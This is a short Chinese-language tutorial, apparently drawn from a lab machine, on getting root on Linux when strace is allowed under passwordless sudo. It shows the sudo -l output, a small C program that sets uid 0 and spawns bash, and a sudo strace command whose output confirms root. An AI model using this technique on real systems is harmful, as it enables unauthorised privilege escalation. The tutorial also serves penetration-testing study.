sudo-strace提权法
strace是一个linux平台下的调试工具,主要用来跟踪进程的系统调用和信号接收,在linux系统开发中十分常用,但由于该命令需要已root权限运行,不少开发人员为了方便开发,会为strace命令授予sudo权限。常见的一种错误就是为该命令授予无需密码的sudo权限。这就带来了一个安全问题
一、查看strace在sudo下是否可用
/home $ sudo -l Matching Defaults entries for peter on linsecurity: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User peter may run the following commands on linsecurity: (ALL) NOPASSWD: /usr/bin/strace
这里可以看见strace命令可以NOPASSWD的情况下通过sudo执行
二、编写提权程序
//getr.c #include <stdlib.h> #include <unistd.h> int main() { setuid(0); setgid(0); system("/bin/bash"); }
#gcc -o getr getr.c
三、strace命令提权
tmp$ sudo /usr/bin/strace ./getr 2>/dev/null id uid=0(root) gid=0(root) groups=0(root) ls getr systemd-private-ee3c446c6f104cbcaeea4c8d92cdc15f-systemd-resolved.service-gSPqBs getroot.c systemd-private-ee3c446c6f104cbcaeea4c8d92cdc15f-systemd-timesyncd.service-UDn7KC
可以看到已经是root权限了